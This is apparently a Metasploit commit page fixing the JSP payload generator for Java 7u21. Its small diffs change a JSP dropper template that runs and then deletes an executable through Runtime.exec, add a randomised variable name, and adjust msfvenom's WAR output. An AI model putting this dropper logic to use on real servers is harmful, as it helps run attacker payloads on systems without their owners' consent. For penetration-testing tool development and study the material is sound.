Land #2794, @Meatballs1's fix for to_exe_jsp on J7u21, [FixRM #8717]

bug/bundler_fix
jvazquez-r7 2013-12-30 09:28:27 -06:00
commit b8569a1698
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
3 changed files with 7 additions and 6 deletions

View File

@ -39,11 +39,13 @@
if (%{var_proc}.waitFor() == 0) {
%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
}
File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
}
else
}
else
{
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
String[] %{var_exepatharray} = new String[1];
%{var_exepatharray}[0] = %{var_exepath};
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepatharray});
}
%%>

View File

@ -1040,6 +1040,7 @@ def self.to_vba(framework,code,opts={})
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)
# Specify the payload in hex as an extra file..
payload_hex = exe.unpack('H*')[0]

View File

@ -461,8 +461,6 @@ class MsfVenom
exe = ::Msf::Util::EXE.to_executable_fmt(framework, @opts[:arch], @opts[:platform], payload_raw, @opts[:format], exeopts)
if (!exe && payload.respond_to?(:generate_war))
exe = payload.generate_war.pack
else
exe = ::Msf::Util::EXE.to_jsp_war(exe)
end
@out.write exe